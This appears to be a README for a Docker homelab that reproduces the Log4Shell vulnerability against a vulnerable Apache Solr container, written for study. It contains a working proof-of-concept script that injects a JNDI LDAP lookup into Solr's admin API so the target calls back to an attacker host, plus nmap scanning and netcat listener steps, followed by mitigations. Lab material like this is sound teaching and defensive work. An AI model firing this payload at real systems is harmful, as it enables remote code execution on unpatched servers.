
Homelab vulnerabilità Log4j
Ambiente controllato in Docker per riprodurre e studiare la vulnerabilità Log4Shell su Apache Solr.
solr-lab): Apache Solr v8.11.0 (vulhub/solr:8.11.0) che esegue una versione vulnerabile di Log4j.kali-lab): Container Kali Linux base con nmap, curl e netcat preinstallati.Nel tuo terminale, avvia l'ambiente in background:
docker compose up -d --build
docker compose exec -it kali-lab /bin/bash
All'interno del container Kali, scopri la tua sottorete e localizza l'IP di Apache Solr:
# 1. Guarda il tuo IP e la maschera di rete
hostname -I
# 2. Scansiona la rete interna per trovare l'IP del bersaglio (porta Solr: 8983)
# (Sostituisci la subnet qui sotto con l'IP ottenuto dal comando precedente)
nmap -p 8983 172.20.0.0/24
Lo script poc.sh inietta il payload di lookup JNDI nel parametro dell'API di amministrazione di Solr.
poc.sh)#!/usr/bin/env bash
if [ "$#" -lt 2 ]; then
echo "Uso: $0 <lhost> <rhost> [lport]"
echo "Exemplo: $0 172.20.0.3 172.20.0.2 1389"
exit 1
fi
KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"
echo "[*] Alvo: $TARGET"
echo "[*] Atacante (LDAP): $KALI na porta $PORT_KALI"
echo "[*] Disparando exploit..."
curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"
Ancora all'interno del Kali, dai i permessi allo script ed esegui passando gli IP corretti:
chmod +x poc.sh
./poc.sh <IP_DO_KALI> <IP_DO_SOLR> 1389
Cosa succede qui? Solr elaborerà la richiesta e tenterà di aprire una connessione LDAP di ritorno verso l'IP di Kali sulla porta specificata. Puoi monitorare questo tentativo di connessione aprendo un listener rapido in Kali prima di eseguire lo script (es:
nc -lnvp 1389).
Per correggere la falla in Log4j 2:
2.15.0 o 2.17.1).-Dlog4j2.formatMsgNoLookups=true all'avvio di Java.zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class